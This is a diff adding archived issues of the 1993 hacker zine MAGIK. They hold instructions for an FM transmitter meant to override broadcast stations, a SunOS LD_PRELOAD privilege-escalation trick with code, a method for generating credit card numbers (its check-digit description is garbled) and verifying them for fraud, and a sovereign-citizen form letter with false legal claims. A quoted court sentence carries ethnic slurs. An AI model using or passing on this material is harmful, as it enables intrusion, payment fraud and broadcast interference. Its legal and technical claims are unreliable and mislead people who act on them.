Wire (Radio Shack CAT. No. 42-2371) + they cost about 2 bucks apiece. +5) 2 long pieces of copper speaker cable + + + Most of this stuff looks a lot like the stuff needed to build +a SnowBox...that is because these two devices both do similar +things...a SnowBox sends VHF signals over the airwaves and either +cancel out weaker stations or distort strong ones and replace them +with whatever the owner of the box wants to show...now since +the xmitter sends out FM waves instead of VHF the result is the +taking over/canceling out of FM stations. + +Construction of this device is fairly simple the only semihard part +comes when finding the station to broadcast on... + +First take the two phono plugs and plug them into any audio OUT +jacks on the back of the tuner. + +Now wrap the 2 Tinned wires from the end of the phono plug around +the input screws on the linear amp. + +Next wrap each of the speaker wires onto the output screws on the +linear amp. + +After that take the end of the speaker wire and connect it to the +HAM antenna. + + --------- ------- ---\ /--- +[ Tuner ] -----------> [ Amp ] -------------> [ Antenna ] + --------- ------- --------- + + Once you finish the actual construction of the xmitter you +have to decide on what station to broadcast on...the station you +choose depends on the length of the HAM antenna. He is the equation +to find length of the antenna to use for a station: Antenna's +length in feet is = 468 divided by the frequency in MHz. + +Like for 96.3 you divide 468 by 96.3 then that answer is the length +of the antenna: 468/96.3 = 4.86 feet, so cut off 1.14 feet of the +6 footer. + + Now play whatever you want through the audio out jack on the +tuner and it will be amplified and sent out to the public! + + The uses of this powerful xmitter are obvious...like setting +up a pirate radio show or just plain out fucking over the public +with false information about what they can't see...sounds like a +nice Orson Wells experience to me. Some other things to do aren't +fully known and since I had to rush to get this article in before +the deadline I haven't had time to test them all. Which brings me +to another point about this xmitter...since it uses airwaves it is +not traceable! + + Be sure to tell on the air who told you how to make this nifty +device who knows I might be listening - THE ASSASSiN '93 + +Staff Organization +~~~~~~~~~~~~~~~~~ +Editor - Chaos +Writers - Chaos, Electric Vampyre, Nombrist Beor, + The Assasin +Programming Team - Chaos, White Lightning + +Greets Fly Out To +~~~~~~~~~~~~~~~~ +The Gatsby, Haywire, FRiMP (of 6i9), Eddy Haskel, Merlamber ... + +And to all who said that this would never happen, I have just one +thing to say to you, "Fuck You, Warez Rats Must Die! NO MORE +K-Warez Kiddies" + +BBSs To Call +~~~~~~~~~~~ +9th Plane 6i9.PRI.VATE Deathknight, 96oo+, 230 megs, Celerity + P/H orientated subs, PiRaTe Orientated, Elite only + +Insanity Lane 6i9.PRI.VATE Haywire, 24oo, 65 megs, Telegard + P/H orientated, Lots of P/H text phyles, ALL users + are welcome, FIDONeT. + +Misc. Info +~~~~~~~~~ +Remember, send all mail to : + +MAGIK@pnet01.cts.com VIA Internet or (lamers) WWiVNeT #151 @16964 + +For a copy of Telegard-X the future of H/P BBS Software leave mail +at MAGIK@pnet01.cts.com and I will get a copy to you! + +(-eof-) +---------------------------------------------------------------------- diff --git a/textfiles.com/magazines/MAGIK/magik-2 b/textfiles.com/magazines/MAGIK/magik-2 new file mode 100644 index 00000000..300eac14 --- /dev/null +++ b/textfiles.com/magazines/MAGIK/magik-2 @@ -0,0 +1,2165 @@ + <*> MAGIK <*> + Master Anarchists Giving Illicit Knowledge + April 23, 1993 + + Issue 2, Volume 1 + +In This Issue +~~~~~~~~~~~~~ +[1] MAGIK PGP Public Key +[2] Introduction +[3] Signing Crap +[4] Sun OS Preloading +[5] Credit Card # Formula +[6] Telecommunications News +[7] Code Thief +[8] Audioconferencing Services +[9] Telnet Gateway +[10] Sprint Conference Line Info +[11] A Business Conference-Call, Inc. +[12] CSUnet +[13] The Art of Phreaking I +[14] Thrifty Tel Inc. +[15] New PacificBell Services + +Staff Organization +~~~~~~~~~~~~~~~~~~ +Editor in Chief - Chaos +Writers - Chaos, Electric Vampyre, White Lightning +Programming Team - Chaos, White Lightning, Merlamber + +Disclaimer +~~~~~~~~~~ + MAGIK and it's writers assume no responsibility for the uses +of the material presented. The information in this magazine is for +informational purposes only, and is not necessarily intended for +illegal uses. + + (--------------------------------------------------------) + + MAGIK PGP Key + + (--------------------------------------------------------) + + Now days that the Government is just getting too big, and just +loves to intercept people's mail, MAGIK just like many others has +gone to completely encrypted email. Any email send to magik should +be sent with the following PGP public key. All other email will be +completely ignored. + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.2 + +mQCNAiuuMjMAAAEEAOBHrS3FtN+p4MOSKLkObsUVVp4nwsAzOgWcvWaDnvU2oEJt +fdF2wFJ6qYQwlm1e+RclHaA+Cb2ma+U8YEy3gb35pKviQMbTdVolAEIDvU1sC1nR +7GU9w2uR1FFL0MOOIHiSkztTNNwAjhC/BSkM4Xx/i+TmIGkSn/wseIE8s70FAAUR +tCVNQUdJSyBNYWdhemluZSA8bWFnaWtAcG5ldDAxLmN0cy5jb20+ +=Qa66 +-----END PGP PUBLIC KEY BLOCK----- + + (--------------------------------------------------------) + + Introduction + by Chaos + + (--------------------------------------------------------) + + As promised in our last issue, we are back and even better +than ever. I took some heat for issue #1's text reader, so from +the unfavorable feedback I have decided to drop the reader from the +publication. The whole reader is being completely rewritten and +may eventually be added back in, but not at this time. If you feel +a reader should be added back in let me know. I have had many +people ask me the question "Why do you have a reader for MessyDos?" +Well it is simple. Authenticity. I have found in my days of +modeming there are little kids out there who get their kicks out of +popping the magazine in an editor and changing stuff around, which +in turn makes us look bad. Now that this has been removed be sure +to get a copy from a reliable source. This can always be obtained +from EFF by FTP at 'ftp.eff.org' in /pub/cud/magik. Disappointingly +we are not receiving much feedback from our readers in the way of +submissions to the magazine. Com' on guys, I mean we can keep +feeding you all of this cool shit, but you have got to at least +give us a little back. We are still looking for qualified writers. +We also need someone who can write articles in the way of global +hackers in the news. If interested mail into the magik mailbox. + + (--------------------------------------------------------) + + Pre-Loading + + (--------------------------------------------------------) + + SunOS buggy? No way! They got rid of all the bugs, didn't +they? + + Okay, when SunOS executes a program, it does dynamic library +linking. + +It checks the libraries in this order: + The program's symbols + The preloaded symbols + The user dynamic library symbols + The system default dynamic library symbols + + Here's an example of how to take advantage of this: +Create sync.c: +sync() { + execl("/bin/sh", "sh", 0); +} + +cc -c -O -R -pic sync.c <--Compile it +ld -o buglib.so.1.1 -assert pure-text sync.o <--Make a library +setenv LD_PRELOAD ./buglib.so.1.1 <--Set the preload list +su sync + +When you do this, it does an su to sync, then sees your fake sync() +call, which calls up a shell. Course you're still running as the +sync +user. + +The sync account is just uid=1, gid=1. But there's all those setuid +programs floating around out there. Use your imagination... + + (--------------------------------------------------------) + + Signing Crap + + (--------------------------------------------------------) + +If ye love wealth greater than liberty, +the tranquility of servitude greater +than the animating contest for freedom, +go home from us in peace. + +We seek not your counsel, nor your arms. +Crouch down and lick the hand that feeds you; +and may posterity forget that ye were our countrymen. - Sam Adams + + Contrary to what most people think, the "founding fathers" didn't +have computers, but they definitely knew what hacking was all about. +This little quote from a "founding father" remind you of something you +told a cop or your parents once or twice? Only difference is they would +say "go home" and we'd say "go to hell" or "drop dead". + Okay, before we get to the crap, I got something good to show yas. +See, I figure people think law is boring. I guess they just haven't +been reading the right kind of law. You just gotta look in the right +places. This thing is verbatim right from the sentencing. The U.S. +Judge was sitting in an adobe stable they was using as a temporary +court room. This was Federal District Court in the New Mexico +Territory. The guy was convicted of murder. + Jose Manuel Miguel Xavier Gonzales, in a few short weeks it +will be spring. The snows of winter will flee away, the ice will +vanish, and the air will become soft and balmy. In short, Jose +Manuel Miguel Xavier Gonzales, the annual miracle of the years +will awaken and come to pass, but you won't be there. + The rivulet will run its soaring course to the sea, the +timid desert flowers will put forth their tender shoots, the +glorious valleys of this imperial domain will blossom as the +rose. Still, you won't be here to see. + From every tree top some wild woods songster will carol his +mating song, butterflies will sport in the sunshine, the busy bee +will hum happy as it pursues its accustomed vocation, the gentle +breeze will tease the tassels of the wild grasses, and all +nature, Jose Manuel Miguel Xavier Gonzales, will be glad, but +you. You won't be here to enjoy it because I command the Sheriff +or some other officer of the country to lead you out to some +remote spot, swing you by the neck from a knotting bough of some +sturdy oak, and let you hang until you are dead. + And then, Jose Manuel Miguel Xavier Gonzales, I further +command that such officer or officers retire quickly from your +dangling corpse, that vultures may descend from the heavens upon +your filthy body until nothing shall remain but bare, bleached +bones of a cold-blooded, copper-colored, blood-thirsty, throat- +cutting, chili-eating, sheep-herding, murdering son-of-a-bitch. + United States of America v. Gonzales (1881), United States +District Court, New Mexico Territory Sessions. + + Ever been "forced" to sign something? Well, the U.C.C. lets +you get around that problem. See, they figured there would be times +where you would sign something you didn't want to. They went and +made the rules so that a smart guy could get out of that. I like +loaded dice. So, there's a loophole for when you don't have free +will to sign shit. When you sign something "without prejudice" +or "under protest", you can get out of the signature and you can +even sue to get even (sue to recover rights). Every state has +adopted this section at least, including Louisiana as of 1/1/75. +See Louisiana Revised States 10:1-207. + + The following states clearly follow 1-207 (all citations +are to the state's highest court (usually the supreme court) +unless otherwise indicated): Ohio (544 N.E.2d 869 (1989)); and +Rhode Island (3 UCC Rept Serv. 2d 466 (R.I. Dist Ct, 1987). + + The following states distinguish 1-207, and continue to +prohibit a creditor from altering an endorsement restriction and +thereby reserving rights to collect the balance: Alabama (378 +So. 2d 1122 (1979)); Alaska (673 P.2d 724 (1983)); Arkansas (644 +S.W.2d 292 (1982)); California (737 P.2d 417 (1987)); +Connecticut (520 A.2d 1028 (1987)); Florida (407 So. 2d 312 +(Fla. App. 1981)); Georgia (858 F.2d 1507 (Cir 11, 1988); 265 +S.E.2d 325 (1980)); Illinois (722 F.Supp. 339 (E.D.Va 1989) +(This cite looks bad to me; An Illinois issue decided in the +Eastern District of Virginia? It's possible, but unlikely; I +assume I transcribed the cite incorrectly); Kansas (762 P.2d 196 +(1988)); Louisiana (423 So. 2d 752 (La. App. 1982); 799 F.2d +1984 (Cir. 5, 1986); Maine (484 A.2d 1008 (1984)); Maryland (459 +A.2d 1120 (1983)); Michigan(418 N.W.2d 386 (1987)); Nebraska +(382 N.W.2d 313 (1986)); New Jersey (418 A.2d 1326 (Dist Ct., +1980); North Carolina (264 S.E.2d 385 (1980)); Oregon (664 P.2d +419 (1983); Utah (706 P.2d 607 (1985)); West Virginia (1 UCC +Repr. Serv. 2d 1425); Washington (610 P.2d 390 (1980)); +Wisconsin (291 N.W.2d 636 (Ct. App., 1980); Wisconsin (341 +N.W.2d 655 (1984); and Wyoming (593 P.2d 828 (1979)). What this +means is that the U.C.C. does not supercede the common law accord +and satisfaction. A debtor can add "payment in full" on an +endorsement, but a creditor CAN'T alter it. + + The following states have authority on either side of the +question, and appear unsettled: Missouri (not applying 1-207: +550 F.Supp. 992 (W.D. Mo, 1982); applying 1-207: 694 S.W.2d 762 +(Mo. App. 1985)); New York(not applying: 560 N.Y.S. 2d 617 +(1990); applying: 488 N.E.2d 56 (1985); 553 N.Y.S.2d 349 +(1990)); Pennsylvania (applying: 476 F.Supp. 1155 (E.D. Pa., +1979); not applying: 36 UCC Rept Serv. 369 (Pa. Ct. Common +Pleas, 1983); and Texas (not applying: 735 S.W.2d 501 (Tex. +Appl. 1987); applying: 804 S.W.2d 238 (1991)). + This is all in U.C.C. Book 1, Section 207: +Performance or Acceptance Under Reservation of Rights. + A party who with explicit reservation of rights performs or +promises performance or assents to performance in a manner +demanded or offered by the other party does not thereby prejudice +the rights reserved. Such words as 'without prejudice,' 'under +protest' or the like are sufficient. + + What a bunch of crap to hide what it means, eh? The whole +U.C.C. is written like that. If you don't believe it's in there, +go get a college business law book. Most of them have a copy of +the U.C.C. stuffed in the back some place and they might even +talk about this section some place else in the book (ha! not). To +fulfill the requirements, just write the words "signed without +prejudice," above or beside your signature. + + If you start doing this, use "without prejudice" instead of +"under protest" because a circuit judge that Thomas Covenant +(of Thieves' World) messed with didn't even know what it meant. +If a judge asks you what you mean when you said "without prejudice," +you could tell him something like this: "It indicates I have +exercised the remedy provided for me in the Uniform Commercial Code +by which I might reserve the common law right not to be compelled +to perform under any contract that I have not entered knowingly, +voluntarily, and intentionally." + +An Example: Driver's Licenses + + You probably contracted away some of your constitutional +rights without even realizing it. Here's some examples: + + You contract away your right to free speech when you enter +a movie theatre. You cannot talk or whistle or sing or the +management will kick you out (and no refund). + + You contract away your freedom of assembly when you sign an +apartment lease. You cannot have a political rally with 100 +people every night in your apartment. Same goes for freedom of +speech. + + You contract with your employer to go by his rules. (No +gambling, no alcohol on company premises). If you break a rule, +you get fired. You do not get a trial. It is breach of +contract not a crime. + + You contract away your right to a jury trial when you sign +a brokerage agreement with Merrill Lynch, etc. You agree to use +binding arbitration instead of the court system. + + You agree some place in your driver's license application to +obey all the rules. The state legislature writes these statutes +(they are NOT laws). And then can change them any time they feel +like it. They are the terms of the contract. Part of the terms +of the contract include waiving some of your constitutional +rights. + + If a police officer stops you, he writes you a 'ticket'. +There is probably some part of the contract that says you can +have a "trial" (it's an administrative hearing) if you break a +rule. To make it look real, most states will even allow you to +have a "jury", but they usually try to skimp on the 12 jurors +required for a real trial. Civil rules are NOT crimes. It's +always called an 'offense' or an 'infraction' to disguise this +fact. It is a breach of contract. + + Under the constitution, you get a jury trial for all crimes +(6th amendment) and a jury trial for all civil law suits for an +amount over $20 (7th amendment). A traffic hearing is not a +criminal court, so forget the 6th amendment. It's not a common +law suit, so forget the 7th amendment. It's a breach of contract +suit. + + Now the UCC comes in. Almost all of it covers rules for +contracts and breaches of contracts. The UCC says that you do +not have to honor a contract unless you entered "knowingly, +intentionally, and willfully." It assumes that you did all these +things if you received benefits from the contract unless you +specifically reserve your rights. In this case, one of the +benefits is lower insurance rates since you are a licensed +driver. + + If you reserved your rights by signing without prejudice, +the state can still sue you, but it has to be a common law suit. +Look at Article III, Section 2, paragraph 2 of the Constitution +of the United States. It would be unfair for a state court to +try a case in which the state is one of the parties, so the +Supreme Court has jurisdiction over this case. + + Did you know you were giving up your constitutional rights +when you entered into that contract? It is fraudulent to enter +into a contract without entering "knowingly, intentionally, and +willfully". You can rescind that contract. That is part of what +the form letter below is about, but that particular form letter +is much more complicated for other reasons. + +The Form Letter + + Okay, this is a sneaky document that a guy sent me that is +essentially a template Go Away form written by an 18 year old +kid that just decided he had enough shit and started reading the +law, just like everybody told him to do. Now, a lot of this +shit is going to sound REALLY screwed up. Do NOT use anything +in law that you don't understand or you will get in trouble. I +will eventually explain everything in it. You might want to +at least consider what it says in 3-511 and then write a letter +to anybody you're signing "without prejudice" with and tell them +to throw away the form you signed. + + Let it be known, I reserve all of my rights under the common +law provisions and proceed to base my claim of fraud upon all who +deny me these rights. + I shall continue to state, I am not a resident of the District +of Columbia or a foreign corporation, officer, director, stockholder, +or employee of a foreign corporation, or a citizen of the United +States, or a citizen of the U.S., or a citizen of any corporate, +conglomerate state government, and I am not a resident of any federal +possession, enclave, or fort etc., and if I of necessity receive any +governmental benefits and privileges, it is without prejudice, +reserving all rights as per the Uniform Commercial Code 1-207. I am +therefore not subject to the color of law jurisdictions of the United +States in the corporate monopoly of the federal and state governments. + I am a natural and corporeal person and cannot live in a +corporate fiction called the United States nor the corporate fiction +called the State of California. I thereby claim my rights under the +Constitution which is the Supreme Law of the Land. The Bill of Rights +enumerates some of our God-given rights as sovereign citizens. + I deny all jurisdictional claims you present over me. I further +respectfully dishonor all claims against me this day, and all other +days that I have been forced to enter into this jurisdiction by +estoppel, fraud, misrepresentation, duress, coercion, mistake, etc. + This is done upon the following provisions of Code: + + Under U.C.C. 1-207 Performance or acceptance under reservation of +rights. + A party who with explicit reservation of rights performs or +promises performance or assents to performance in a manner demanded or +offered by the other party does not thereby prejudice the rights +reserved. Such words as "without prejudice", "under protest" or the +like are sufficient. + + Under U.C.C. 3-511 (1) and (c). Waived or excused presentment, +protest or notice of dishonor or delay therein. + (1) Delay in presentment, protest, or notice of dishonor is +excused when the party is without notice that it is due or when the +delay is caused by circumstances beyond his control and he exercises +reasonable diligence after the cause of the delay ceases to operate. +Presentment or notice or protest as the case may be is entirely +excused when + (c) by reasonable diligence the presentment or protest cannot +be made or the notice given. + + I dishonor your presentment or claim upon me. + + Under U.C.C. 3-305 (2) (b) and (c) Rights of a holder in due course. + (2) All defenses of any party to the instrument with whom the holder +has not dealt except + (b) Such other incapacity, or duress, or illegality of the +transaction, render the obligation of the party a nullity, and + (c) such misrepresentation as has induced the party to sign the +instrument with neither knowledge nor reasonable opportunity to obtain +knowledge of its character or its essential terms. + Under U.C.C. 3-601 (3) (a). The liability of all parties is +discharged when any party who has himself no right of action or +recourse on the instrument + (a) reacquires the instrument in his own right. + Under U.C.C. 1-103. Supplementary general provisions of law +applicable. + Unless displaced by the particular provisions of this act, the +principles of law and equity, including the law merchant and the law +relative to capacity to contract, principal and agent, estoppel, +fraud, misrepresentation, duress, coercion, mistake, bankruptcy, or +other validating or invalidating cause shall supplement its +provisions. + Under U.C.C. 2-609. Right to adequate assurance of performance. + (4) After receipt of a justified demand failure to provide within +a reasonable time not exceeding thirty days such assurance of due +performance as is adequate under the circumstances of the particular +case is a repudiation of the contract. + Under U.C.C. 2-608. Revocation of acceptance in whole or in part. + (1) The buyer may revoke his acceptance of a lot or commercial unit +whose nonconformity substantially impairs its value to him if he has +accepted it. + (b) without discovery of such nonconformity if his acceptance was +reasonably induced either by the difficulty of discovery before acceptance +or by the seller's assurances. + (2) Revocation of acceptance must occur within a reasonable time +after the buyer discovers or should have discovered the ground for it +and before any substantial change in condition of the goods which is not +caused by their own defects. It is not effective until the buyer +notifies the seller of it. + (3) A buyer who so revokes has the same rights and duties with +regard to the goods involved as if he had rejected them. + + I hereby revoke all signatures on every and all state and federal +documents which has my signature on it, and including those in the +future if forced to do so. + + I further disclaim any oaths or implied oaths of or contracts. + +Dated _____ + Submitted by _______________ + Signed without prejudice U.C.C. 1-207 + +Turing the Tables + + Fair's fair, right? While you're busy filling out their forms, +why not make them fill out YOUR form? This is a federal form only, +unfortunately. Here it is, the Public Servant's Questionnaire, +with questions required to be answered BY LAW! Just edit it so +that it doesn't look so crappy and go for it. + +----cut here---- + Public Law 93-579 states in part: "The purpose of this Act is to +provide certain safeguards for an individual against invasion of +personal privacy by requiring Federal agencies...to permit and individual +to determine what records pertaining to him are collected, maintained, +used, or disseminated by such agencies." + The following questions are based upon that act and are necessary +in order that this individual may make a reasonable determination +concerning divulgence of information to this agency. + +1. Name of public servant............... +2. Residence......City.....State......Zip...... +3. Name of department, bureau, or agency by which public servant +is employed........supervisor's name...... +4. It's mailing address...........City......State....Zip...... +5. Will public servant uphold the constitution of the United States? +6. Did public servant furnish proof of identity? +7. What was the nature of proof?.............. +8. Will public servant furnish a copy of the law or regulation which +authorizes this investigation? +9. Will the public servant read aloud that portion of the law authorizing +the questions he will ask? +10. Are the answers to the questions voluntary or mandatory? +11. Are the questions to be asked based upon a specific law or regulation, +or are they being used as a discovery process? +12. What other uses may be made of this information? +13. What other agencies may have access to this information? +14. What will be the effect upon me if I should choose not to answer +any part or all of these questions? +15. Name of person in government requesting that this investigation be +made............... +16. Is this investigation 'general' or is it 'special'? +17. Have you consulted, questioned, interviewed, or received information +from any third party relative to this investigation? +18. If so, the identity of such third parties.......... +19. Do you reasonably anticipate either a civil or criminal action to be +initiated or pursued based upon any of the information which you seek? +20. Is there a file of records, information, or correspondence relating to +me being maintained by this agency? If yes, which? +21. Is this agency using any information pertaining to me which was +supplied by another agency or government source? +22. May I have a copy of that information? +23. Will the public servant guarantee that the information in these files +will not be used by any other department other than the one by whom he +is employed? If not, why not? + + If any request for information relating to me is received from any +person or agency, you must advise me in writing before releasing such +information. Failure to do so may subject you to possible civil or +criminal action as provided by the act. + +I swear (affirm) that the answers I have given to the foregoing +questions are complete and correct in every particular. ___________ +Date: ____/_____ Witness:____________ Witness:_______________ +----cut here---- +Okay, when they decide to get cocky, here's your legal power for +asking these questions: +1,2,3,4 In order to be sure you know exactly who you are giving the +information to. Residence and business addresses are needed in case +you need to serve process in a civil or criminal action upon this +individual. +5 All public servants have taken a sworn oath to uphold and +defend the constitution. +6,7 This is standard procedure by government agents and +officers. See Internal Revenue Manual, MT-9900-26, Section 242.133. +8,9,10 Title 5 USC 552a, paragraph (e) (3) (A) +11 Title 5 USC 552a, paragraph (d) (5), (e) (1) +12,13 Title 5 USC 552a, paragraph (e) (3) (B), (e) (3) (C) +14 Title 5 USC 552a, paragraph (e) (3) (D) +15 Public Law 93-579 (b) (1) +16 Title 5 USC 552a, paragraph (e) (3) (A) +17,18 Title 5 USC 552a, paragraph (e) (2) +19 Title 5 USC 552a, paragraph (d) (5) +20,21 Public Law 93-579 (b) (1) +22 Title 5 USC 552a, paragraph (d) (1) +23 Title 5 USC 552a, paragraph (e) (10) + +losing Thought + + Sometimes the law defends plunder and participates in it. Sometimes +the law places the whole apparatus of judges, police, prisons and gendarmes +at the service of the plunderers, and treats the victim - when he +defends himself - as a criminal. - Frederic Bastiat `The Law' + This guy rips liberals to shreds. Want to read it? This thing is +probably about as nasty as sending someone a copy of Rush Limbaugh's +book, except Bastiat is more serious and he wasn't Republican OR +Libertarian. + Getting it by ftp: +ftp think.com +cd /pub/libernet/misc + (Yeah, I know it's that silly libertarian stuff..the book is + good and very old even if the libs like it, too) +get frederic-bastiat-the-law [text] +get the.law.dvi [dvi file] +get the.law.latex [latex] + Getting it by mail: +Single copies are 2 Federal Reserve Notes. A case of 100 is 75. Address: +The Foundation For Economic Education, Inc. +Irvington-On-Hudson, New York, 10533. + + (--------------------------------------------------------) + + Credit Card Formula + + (--------------------------------------------------------) + + Now days it seems credit card numbers and CBI/TRW accounts are +hard to come by. With this, there seems one simple solution, why +can't you create your OWN virgin credit card numbers? The whole +process is very simple and can be used to create all of the credit +card numbers you would every want. + + Mastercard - 5xxx xxxx xxxx xxxc + Visa - 4xxx xxx xxx xxc + Visa Gold - 4xxx xxxx xxxx xxxc + American Express - 3xxxxxxxxxc + + If you have an IQ above 0 then you would know that the X's can +be filled in with a random number from 0-9. But what are the C's +filled in with? The C is the check digit for the whole card. In +order to compute this check digit you must use a mathematical +formula. First lets assume the Mastercard we made up was '5123 +1234 1234 123c'. The first thing we need to do is assign each +number a place value, so we would start from the right and work out +way to the left, for example : + +15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 c +| | | | | | | | | | | | | | | +5 1 2 3 1 2 3 4 1 2 3 4 1 2 3 c + + Now starting from the right (#1) and moving to the left (#15) +we would take every -ODD- number and multiply it by 2. The answer +would come out to be 38 from out example. We would now round the +number to the nearest number divisible by 10 which in this case +would be 40. We would subtract 38 from 40 (40 - 38 = 2). Are +check digit in this example would be 2. + + Now that you can create the card #, you need a method of +checking this credit card. This can be done very simply with this +process : + +(1) Dial 1-800-554-2265 +(2) Dial 1067#24# +(3) 10# for Mastercard or 20# for VISA +(4) Credit Card Number then # +(5) Expiration date in the form (MM/YY) then # +(6) Ammount in XX*XX (IE 10*16 would be $10.16) then # + +You now have a virgin credit card number, have phun =) + + (--------------------------------------------------------) + + Telecommunications News + + (--------------------------------------------------------) + +Telecom Winners And Losers In 1993 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + By Dr. Jerry Lucas + +It's 1993, time for TeleStrategies' annual analysis of winners and +losers in the coming year. First, we'll review how we called them last +year (TeleStrategies Insight, January 1992) because it's fun to toot +your own horn when you're right. Then we'll cover what happened in +1992 that influenced our assessment for 1993. Finally, we'll tell you +what to expect this year if you like to pick winners rather than +losers. + +TELESTRATEGIES' TOP TEN WINNERS AND LOSERS +1. ATM/SONET +2. Collocation +3. PCS +4. Cellular Technologies +5. 800 Number Portability +6. Video Dial Tone +7. IntraLATA Toll +8. Screen Phones +9. AIN +10. ISDN + +1. ATM/SONET +First, a quick technology refresher: Synchronous Optical Network +(SONET) is the standardization of optical fiber transport; +Asynchronous Transfer Mode (ATM) is the multiplexing and/or switching +access to SONET transport. + +Last year at this time, the only ATM/SONET game was the RBOCs' +Switched Multimegabit Data Service (SMDS). We deemed it a loser and +that opinion remains unchanged. Why? SMDS doesn't create value for end +users. As planned, SMDS would deliver LAN connectivity to users via a +public packet network with 1.5 to 45 Mbps access. First, there is no +demand today for public (i.e., inter-company) LAN connectivity except +in the research and education market. If you are a player in R&E, you +get it for "free" via Internet. (See TeleStrategies Insight, November +1992). Second, if you want switched, intra-company LAN-to-LAN +connectivity with 1.5 Mbps access, and you have to pay for it, you can +get it today with frame relay technology. Third, the only way to +justify 45 Mbps access today is interconnection to an interexchange +carrier where voice, data and video can be integrated to the IXC +serving center. In summary, if your view of how ATM/SONET will roll +out in 1993 is megabit per second, data only, access to a public ATM +switch (SMDS), you lose. + +So what happened in 1992 to make ATM/SONET timely and a winner for +1993? The ATM Forum. In 1992 the computer/LAN people joined with the +router, T1 mux, DCS and CO vendors to push for CPE ATM standards +compatible with carrier SONET. The end result: it is now possible for +ATM CPE to interface with an ATM/SONET-based IXC. Look for the large +end user to see the first wave of ATM CPE products and compatible +private line carrier offerings by year end. + +2. COLLOCATION +Last year we picked 1992 as the year the FCC would follow the New York +PSC's lead regarding CO collocation for the Alternative Local +Transport Service (ALTS) providers. The FCC did just that last summer +with the result that collocation for special private line access is +here. So, if you were an ALTS and took the risk to start up or fortify +your market position, as you already know, you were a winner in 1992. + +What else happened in 1992 to affect collocation opportunities in +1993? Plenty. First, collocation has now been established as an +acceptable practice at the state PUC level. RBOC COs haven't been +destroyed by "incompetent" ALTS technicians when on site at the CO, +etc. Second, Senator Al Gore was elected Vice President. It is likely +that he will use his position to become the U.S. "technology czar," +putting special emphasis on his "baby," the National Research and +Education Network (NREN), the gigabit replacement for Internet (see +TeleStrategies Insight, June 1992). Third, the RBOCs acknowledge they +lost the special access monopoly with collocation (a $3 billion +market). It's just a matter of time until switched access (a $20 +billion market) is opened to competition, further eroding the RBOCs +position. In light of this a few RBOCs (or independents) have realized +that "if you can't beat them, join them." + +What should you expect in 1993 regarding collocation opportunities? +First, a lot of hype about the telecom infrastructure creating jobs +(the Gore/NREN effect) followed by creative RBOC/state PUC initiatives +to attract new business. The bottom line for 1993: very special +collocation agreements between corporate networking customers and +RBOCs with the blessing of state PUCs. If the RBOCs are going to get +bypassed anyway, why shouldn't they get in on it themselves. The RBOCs +could win big politically with Washington, their state governments and +others by teaming with end users! Collocation offers endless +possibilities. Watch the creative ones in 1993. + +3. PCS +Last year we said that there wouldn't be any new spectrum +reallocations for Personal Communications Services (PCS) and that the +FCC's Pioneer Preference system was the best way to go if you wanted +to start up now. We were right on both counts. + +If you are exploring PCS opportunities in 1993, here's what happened +in 1992 that you should know about. (1) You can no longer file for a +Pioneer's Preference; (2) The FCC issued a Notice of Proposed Rule +Making for PCS frequency reallocation and was deluged with comments. +MCI's proposal drew significant attention. It calls for the creation +of three national consortia in which no one company would have a +controlling interest and no one would be allowed to hold both cellular +and PCS licenses in the same geographic area. (3) Last month Pacific +Bell blew it for RBOC PCS set-asides last when they announced their +"Divestiture II," which will split their cellular operations and +regulated local exchange operations into two separate companies. +Readers of TeleStrategies Insight (August 1991) shouldn't have been +surprised because we predicted a year and a half ago that an RBOC +would do exactly what Pacific Bell now says it will do. + +If you aren't a cellular carrier or a PCS pioneer but want to get into +PCS in 1993, start by reading MCI's PCS consortia proposal to the FCC. +It's well thought out and has had a lot of input from industry +players. Start networking with these consortia because 1993 will be +open for filings. There will be no set-aside frequencies nor will +there be lotteries as with cellular. + +4. CELLULAR TECHNOLOGY +Last year at this time, the hot topic in cellular was TDMA vs. CDMA. +We called TDMA the definite winner for this year and we were right. +McCaw, Rogers Cantel and Southwestern Bell are implementing TDMA. +Others (Pacific Bell, NYNEX, U S WEST) who are publicly leaning toward +CDMA may have to go with TDMA just to meet the digital marketing hype +that's starting to float around. Regarding 1993, what new technology +developments have arisen to create future opportunities? Packet data +via cellular. The significance of packet data via cellular is that the +air time costs drop (you pay by the data burst) and less power is +drawn from the batteries (giving you longer periods between +recharges). The packet cellular systems tested in 1992 were made by +Cellular Data, Inc., and IBM (Cellplan II). Cellular carriers are +getting ready to roll out one or the other. In 1993, opportunities +abound for applications and distribution for low-cost, portable data +communications. + +5. 800 NUMBER PORTABILITY +Number portability allows current 800 customers to move their 800 +business to another IXC without changing their phone numbers; they can +divide their business based on call origination location, time of day +or by a random percentage allocation. No winners or losers were +predicted last year because 800 number portability wasn't scheduled to +happen until 1993. + +Starting in May, 1993 or shortly thereafter, 800 number portability +will create new opportunities for: + +IXCs who are lusting after AT&T's 800 customers. Even the smallest +IXCs will be able to participate because they can carry national 800 +account originating traffic in their service area only. + +THE MEDIA will bombard the U. S. with 800 advertisements. TV and print +media are in for a revenue windfall. Big bucks will be spent by AT&T, +MCI, Sprint and others on 800 service advertisements. + +CONSUMERS will benefit because 800 number portability brings SS7 +connectivity with it. This means almost all telephone calls will be +distance-insensitive regarding call set-up time. + +POTENTIAL TOLL FRAUD VICTIMS will have less exposure. Almost all toll +fraud (that end users are liable for) originates with an 800 call to a +company's voice mail box or direct inward system access (DISA) line. +800 number portability gives users the ability to "red line." Here's +an example: the Bronx area of New York City is a hot bed of toll fraud +activity. Users will be able to block calls down to that NPA-NXX. + +LECs performing centralized data base dips will not only be +compensated for IXC selection and more, but the SS7 infrastructure +will be in place to create other intelligent network services. + +But what about AT&T? On the surface, 800 number portability looks like +a loser for them; they're going to lose 800 customers or at least part +of their customers' traffic. But there are some things AT&T can do to +mitigate the damage: + +1. Fight for Deregulation -- Once 800 number portability goes into +effect, AT&T can make the case to the FCC that they no longer have the +advantage created in the pre-divestiture days when they were the only +800 game in town. This appears to be the last issue Judge Greene has +to resolve with AT&T. It is probable that AT&T's competitors will +bring up their international market or their calling card position, +but these arguments pale with respect to those of 800 number +portability. The question now is why should AT&T be regulated any +differently than MCI or Sprint? + +2. AT&T Patents -- Three years ago in TeleStrategies Insight +(September/October 1989) we wrote an analysis of AT&T's patents and +potential strategies they could implement to generate billions in +revenues. In that article I predicted that within a year AT&T would go +after its competition, probably targeting MCI for violating its 800, +0+, VPN and other intelligent network call processing method patents. +Well, I was right and wrong. It took three years rather than one (We +had to wait for 